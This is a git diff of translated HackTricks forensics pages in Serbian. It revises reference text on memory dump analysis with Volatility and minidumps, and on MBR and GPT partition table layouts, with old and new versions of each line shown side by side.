## Reference ## Reference
@ -416,22 +417,22 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Naučite AWS hacking od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! Da li radite u **kompaniji za sajber bezbednost**? Da li želite da vidite vašu **kompaniju oglašenu u HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF**? Proverite [**PLANOVE ČLANSTVA**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Nabavite [**službeni PEASS & HackTricks merch**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud). **Podelite svoje hacking trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) da lako izgradite i **automatizujete radne tokove** pokretane od strane **najnaprednijih** alata zajednice.\
Dobijte pristup danas: Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}

View file

@ -1,69 +1,75 @@
# Analiza memorije # Analiza memorijskih dumpova
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti kibernetičke bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i bezbednosnih stručnjaka u svakoj disciplini. [**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## Početak ## Početak
Počnite **tražiti** zlonamerne programe unutar pcap datoteke. Koristite **alate** navedene u [**Analizi zlonamernih programa**](../malware-analysis.md). Počnite **pretragu** za **malverom** unutar pcap-a. Koristite **alate** navedene u [**Analiza malvera**](../malware-analysis.md).
## [Volatility](volatility-cheatsheet.md) ## [Volatility](volatility-cheatsheet.md)
**Volatility je glavni open-source okvir za analizu memorije**. Ovaj Python alat analizira dump-ove sa spoljnih izvora ili VMware VM-ova, identifikujući podatke poput procesa i lozinki na osnovu profila OS dump-a. Proširiv je pomoću dodataka, što ga čini veoma fleksibilnim za forenzičke istrage. **Volatility je glavni open-source okvir za analizu memorijskih dumpova**. Ovaj Python alat analizira dumpove iz spoljašnjih izvora ili VMware VM-ova, identifikujući podatke kao što su procesi i lozinke na osnovu OS profila dumpa. Proširiv je sa plugin-ovima, što ga čini veoma svestranim za forenzičke istrage.
[**Pronađite ovde cheatsheet**](volatility-cheatsheet.md) [**Pronađite ovde cheatsheet**](volatility-cheatsheet.md)
## Izveštaj o padu mini dump-a ## Izveštaj o mini dumpu
Kada je dump mali (samo nekoliko KB, možda nekoliko MB) tada je verovatno izveštaj o padu mini dump-a, a ne dump memorije. Kada je dump mali (samo nekoliko KB, možda nekoliko MB) onda je verovatno reč o izveštaju o mini dumpu, a ne o memorijskom dumpu.
![](<../../../.gitbook/assets/image (532).png>) ![](<../../../.gitbook/assets/image (532).png>)
Ako imate instaliran Visual Studio, možete otvoriti ovu datoteku i dobiti osnovne informacije poput imena procesa, arhitekture, informacija o izuzecima i izvršenih modula: Ako imate instaliran Visual Studio, možete otvoriti ovu datoteku i povezati neke osnovne informacije kao što su naziv procesa, arhitektura, informacije o izuzecima i moduli koji se izvršavaju:
![](<../../../.gitbook/assets/image (263).png>) ![](<../../../.gitbook/assets/image (263).png>)
Takođe možete učitati izuzetak i videti dekompilirane instrukcije Takođe možete učitati izuzetak i videti dekompilovane instrukcije
![](<../../../.gitbook/assets/image (142).png>) ![](<../../../.gitbook/assets/image (142).png>)
![](<../../../.gitbook/assets/image (610).png>) ![](<../../../.gitbook/assets/image (610).png>)
U svakom slučaju, Visual Studio nije najbolji alat za obavljanje analize dubine dump-a. U svakom slučaju, Visual Studio nije najbolji alat za izvođenje analize dubine dumpa.
Trebalo bi ga **otvoriti** koristeći **IDA** ili **Radare** kako biste ga detaljno pregledali. Trebalo bi da ga **otvorite** koristeći **IDA** ili **Radare** za detaljnu inspekciju.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti kibernetičke bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i bezbednosnih stručnjaka u svakoj disciplini. [**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,139 +1,140 @@
# Particije/Fajl Sistemi/Izdvajanje # Partitions/File Systems/Carving
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Particije ## Partitions
Tvrdi disk ili **SSD disk mogu sadržati različite particije** sa ciljem fizičkog razdvajanja podataka.\ Hard disk ili **SSD disk može sadržati različite particije** sa ciljem fizičkog razdvajanja podataka.\
**Minimalna** jedinica diska je **sektor** (obično sastavljen od 512B). Dakle, veličina svake particije mora biti višekratnik te veličine. **Minimalna** jedinica diska je **sektor** (normalno sastavljen od 512B). Tako da, veličina svake particije mora biti višekratnik te veličine.
### MBR (master Boot Record) ### MBR (master Boot Record)
Nalazi se u **prvom sektoru diska nakon 446B boot koda**. Taj sektor je bitan kako bi PC-u pokazao šta i odakle treba da se montira particija.\ Dodeljuje se u **prvom sektoru diska nakon 446B boot koda**. Ovaj sektor je ključan za označavanje PC-u šta i odakle treba da se montira particija.\
Dozvoljava do **4 particije** (najviše **samo 1** može biti aktivna/**bootable**). Međutim, ako vam je potrebno više particija, možete koristiti **proširene particije**. **Poslednji bajt** ovog prvog sektora je potpis boot zapisa **0x55AA**. Samo jedna particija može biti označena kao aktivna.\ Omogućava do **4 particije** (najviše **samo 1** može biti aktivna/**bootable**). Međutim, ako vam je potrebno više particija, možete koristiti **proširene particije**. **Zadnji bajt** ovog prvog sektora je potpis boot zapisa **0x55AA**. Samo jedna particija može biti označena kao aktivna.\
MBR dozvoljava **maksimalno 2.2TB**. MBR omogućava **maksimalno 2.2TB**.
![](<../../../.gitbook/assets/image (350).png>) ![](<../../../.gitbook/assets/image (350).png>)
![](<../../../.gitbook/assets/image (304).png>) ![](<../../../.gitbook/assets/image (304).png>)
Od **bajtova 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako se koristi Windows). Logičko slovo drajva tvrdog diska zavisi od Windows Disk Signature-a. Menjanje ovog potpisa može sprečiti Windows da se podigne (alat: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. Od **bajtova 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako se koristi Windows). Logičko slovo diska hard diska zavisi od Windows Disk Signature. Promena ovog potpisa može sprečiti Windows da se pokrene (alat: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../.gitbook/assets/image (310).png>) ![](<../../../.gitbook/assets/image (310).png>)
**Format** **Format**
| Offset | Dužina | Stavka | | Offset | Length | Item |
| ----------- | ---------- | ------------------- | | ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Boot kod | | 0 (0x00) | 446(0x1BE) | Boot code |
| 446 (0x1BE) | 16 (0x10) | Prva Particija | | 446 (0x1BE) | 16 (0x10) | Prva particija |
| 462 (0x1CE) | 16 (0x10) | Druga Particija | | 462 (0x1CE) | 16 (0x10) | Druga particija |
| 478 (0x1DE) | 16 (0x10) | Treća Particija | | 478 (0x1DE) | 16 (0x10) | Treća particija |
| 494 (0x1EE) | 16 (0x10) | Četvrta Particija | | 494 (0x1EE) | 16 (0x10) | Četvrta particija |
| 510 (0x1FE) | 2 (0x2) | Potpis 0x55 0xAA | | 510 (0x1FE) | 2 (0x2) | Potpis 0x55 0xAA |
**Format Zapisa Particije** **Format zapisa particije**
| Offset | Dužina | Stavka | | Offset | Length | Item |
| --------- | -------- | -------------------------------------------------------- | | --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Aktivna oznaka (0x80 = bootable) | | 0 (0x00) | 1 (0x01) | Aktivna oznaka (0x80 = bootable) |
| 1 (0x01) | 1 (0x01) | Početna glava | | 1 (0x01) | 1 (0x01) | Početna glava |
| 2 (0x02) | 1 (0x01) | Početni sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) | | 2 (0x02) | 1 (0x01) | Početni sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) |
| 3 (0x03) | 1 (0x01) | Najnižih 8 bitova početnog cilindra | | 3 (0x03) | 1 (0x01) | Početni cilindar najniži 8 bitova |
| 4 (0x04) | 1 (0x01) | Kod tipa particije (0x83 = Linux) | | 4 (0x04) | 1 (0x01) | Kod tipa particije (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Završna glava | | 5 (0x05) | 1 (0x01) | Kraj glave |
| 6 (0x06) | 1 (0x01) | Završni sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) | | 6 (0x06) | 1 (0x01) | Kraj sektora (bitovi 0-5); gornji bitovi cilindra (6- 7) |
| 7 (0x07) | 1 (0x01) | Najnižih 8 bitova završnog cilindra | | 7 (0x07) | 1 (0x01) | Kraj cilindra najniži 8 bitova |
| 8 (0x08) | 4 (0x04) | Sektori pre particije (little endian) | | 8 (0x08) | 4 (0x04) | Sektori pre particije (mali endian) |
| 12 (0x0C) | 4 (0x04) | Sektori u particiji | | 12 (0x0C) | 4 (0x04) | Sektori u particiji |
Da biste montirali MBR u Linux-u prvo morate dobiti početni offset (možete koristiti `fdisk` i komandu `p`) Da biste montirali MBR u Linux-u, prvo morate dobiti početni offset (možete koristiti `fdisk` i `p` komandu)
![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Zatim koristite sledeći kod I zatim koristite sledeći kod
```bash ```bash
#Mount MBR in Linux #Mount MBR in Linux
mount -o ro,loop,offset=<Bytes> mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes #63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
``` ```
**LBA (Logical block addressing)** **LBA (Logičko adresiranje blokova)**
**Logičko blok adresiranje** (**LBA**) je uobičajena šema korišćena za **specifikaciju lokacije blokova** podataka smeštenih na uređajima za čuvanje podataka računara, obično sekundarnim skladišnim sistemima poput hard disk drajvova. LBA je posebno jednostavna linearna šema adresiranja; **blokovi se lociraju pomoću celobrojnog indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje. **Logičko adresiranje blokova** (**LBA**) je uobičajen sistem koji se koristi za **specifikaciju lokacije blokova** podataka koji se čuvaju na uređajima za skladištenje računara, obično na sekundarnim sistemima skladištenja kao što su hard diskovi. LBA je posebno jednostavan linearni sistem adresiranja; **blokovi se lociraju pomoću celobrojnih indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje.
### GPT (GUID Partition Table) ### GPT (GUID tabela particija)
Tabela sa globalno jedinstvenim identifikatorom, poznata kao GPT, preferira se zbog svojih unapređenih mogućnosti u poređenju sa MBR (Master Boot Record). Karakteristična po svom **globalno jedinstvenom identifikatoru** za particije, GPT se ističe na nekoliko načina: GUID tabela particija, poznata kao GPT, favorizovana je zbog svojih poboljšanih mogućnosti u poređenju sa MBR (Master Boot Record). Karakteristična po svom **globalno jedinstvenom identifikatoru** za particije, GPT se izdvaja na nekoliko načina:
* **Lokacija i Veličina**: I GPT i MBR počinju od **sektora 0**. Međutim, GPT radi na **64 bita**, za razliku od MBR-ovih 32 bita. * **Lokacija i veličina**: I GPT i MBR počinju na **sektoru 0**. Međutim, GPT radi na **64 bita**, u kontrastu sa MBR-ovih 32 bita.
* **Ograničenja particija**: GPT podržava do **128 particija** na Windows sistemima i može da primi do **9.4ZB** podataka. * **Ograničenja particija**: GPT podržava do **128 particija** na Windows sistemima i može da primi do **9.4ZB** podataka.
* **Imena particija**: Omogućava mogućnost imenovanja particija sa do 36 Unicode karaktera. * **Imena particija**: Omogućava imenovanje particija sa do 36 Unicode karaktera.
**Otpornost podataka i obnova**: **Otpornost podataka i oporavak**:
* **Redundantnost**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke o podizanju sistema na jedno mesto. Ona duplira ove podatke po disku, poboljšavajući integritet i otpornost podataka. * **Redundancija**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke za pokretanje na jedno mesto. Replikuje ove podatke širom diska, poboljšavajući integritet i otpornost podataka.
* **Ciklična redundancija provere (CRC)**: GPT koristi CRC kako bi osigurala integritet podataka. Aktivno nadgleda korupciju podataka, i kada je detektovana, GPT pokušava da povrati oštećene podatke sa druge lokacije na disku. * **Ciklična kontrola redundancije (CRC)**: GPT koristi CRC za osiguranje integriteta podataka. Aktivno prati oštećenje podataka, a kada se otkrije, GPT pokušava da povrati oštećene podatke iz druge lokacije na disku.
**Zaštitni MBR (LBA0)**: **Zaštitni MBR (LBA0)**:
* GPT održava kompatibilnost unazad putem zaštitnog MBR-a. Ova funkcija se nalazi u prostoru za stari MBR, ali je dizajnirana da spreči starije MBR bazirane alatke da greškom prepišu GPT diskove, čime se čuva integritet podataka na GPT formatiranim diskovima. * GPT održava unazad kompatibilnost putem zaštitnog MBR-a. Ova funkcija se nalazi u prostoru nasleđenog MBR-a, ali je dizajnirana da spreči starije MBR-bazirane alate da greškom prepisuju GPT diskove, čime se štiti integritet podataka na GPT-formatiranim diskovima.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>) ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>)
**Hibridni MBR (LBA 0 + GPT)** **Hibridni MBR (LBA 0 + GPT)**
[Od Vikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [Sa Wikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
U operativnim sistemima koji podržavaju **GPT bazirano podizanje sistema putem BIOS** servisa umesto EFI, prvi sektor se može koristiti i dalje za skladištenje prvog koraka koda **bootloadera**, ali **modifikovanog** da prepozna **GPT** **particije**. Bootloader u MBR-u ne sme pretpostaviti veličinu sektora od 512 bajtova. U operativnim sistemima koji podržavaju **GPT-bazirano pokretanje putem BIOS** usluga umesto EFI, prvi sektor se takođe može koristiti za skladištenje prve faze **bootloader** koda, ali **modifikovan** da prepozna **GPT** **particije**. Bootloader u MBR-u ne sme da pretpostavlja veličinu sektora od 512 bajta.
**Zaglavlje particione tabele (LBA 1)** **Zaglavlje tabele particija (LBA 1)**
[Od Vikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) [Sa Wikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
Zaglavlje particione tabele definiše upotrebljive blokove na disku. Takođe definiše broj i veličinu unosa particija koji čine particionu tabelu (ofseti 80 i 84 u tabeli). Zaglavlje tabele particija definiše upotrebljive blokove na disku. Takođe definiše broj i veličinu unosa particija koji čine tabelu particija (offseti 80 i 84 u tabeli).
| Ofset | Dužina | Sadržaj | | Offset | Dužina | Sadržaj |
| -------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bajtova| Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)na malo-indijskim mašinama) | | 0 (0x00) | 8 bajtova | Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)na little-endian mašinama) |
| 8 (0x08) | 4 bajta | Revizija 1.0 (00h 00h 01h 00h) za UEFI 2.8 | | 8 (0x08) | 4 bajta | Revizija 1.0 (00h 00h 01h 00h) za UEFI 2.8 |
| 12 (0x0C)| 4 bajta | Veličina zaglavlja u malo-indijskom poretku (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) | | 12 (0x0C) | 4 bajta | Veličina zaglavlja u little endian (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) |
| 16 (0x10)| 4 bajta | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (ofset +0 do veličine zaglavlja) u malo-indijskom poretku, pri čemu je ovo polje nula tokom računanja | | 16 (0x10) | 4 bajta | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (offset +0 do veličine zaglavlja) u little endian, sa ovim poljem nula tokom izračunavanja |
| 20 (0x14)| 4 bajta | Rezervisano; mora biti nula | | 20 (0x14) | 4 bajta | Rezervisano; mora biti nula |
| 24 (0x18)| 8 bajtova| Trenutni LBA (lokacija ovog kopiranog zaglavlja) | | 24 (0x18) | 8 bajtova | Trenutni LBA (lokacija ove kopije zaglavlja) |
| 32 (0x20)| 8 bajtova| Rezervisano LBA (lokacija drugog kopiranog zaglavlja) | | 32 (0x20) | 8 bajtova | Backup LBA (lokacija druge kopije zaglavlja) |
| 40 (0x28)| 8 bajtova| Prvi upotrebljivi LBA za particije (poslednji LBA primarne particione tabele + 1) | | 40 (0x28) | 8 bajtova | Prvi upotrebljivi LBA za particije (poslednji LBA primarne tabele particija + 1) |
| 48 (0x30)| 8 bajtova| Poslednji upotrebljivi LBA (prvi LBA sekundarne particione tabele 1) | | 48 (0x30) | 8 bajtova | Poslednji upotrebljivi LBA (prvi LBA sekundarne tabele particija 1) |
| 56 (0x38)| 16 bajtova| Disk GUID u mešovitom poretku | | 56 (0x38) | 16 bajtova | Disk GUID u mešovitom endian |
| 72 (0x48)| 8 bajtova| Početni LBA niza unosa particija (uvek 2 u primarnom kopiranju) | | 72 (0x48) | 8 bajtova | Početni LBA niza unosa particija (uvek 2 u primarnoj kopiji) |
| 80 (0x50)| 4 bajta | Broj unosa particija u nizu | | 80 (0x50) | 4 bajta | Broj unosa particija u nizu |
| 84 (0x54)| 4 bajta | Veličina jednog unosa particije (obično 80h ili 128) | | 84 (0x54) | 4 bajta | Veličina jednog unosa particije (obično 80h ili 128) |
| 88 (0x58)| 4 bajta | CRC32 niza unosa particija u malo-indijskom poretku | | 88 (0x58) | 4 bajta | CRC32 niza unosa particija u little endian |
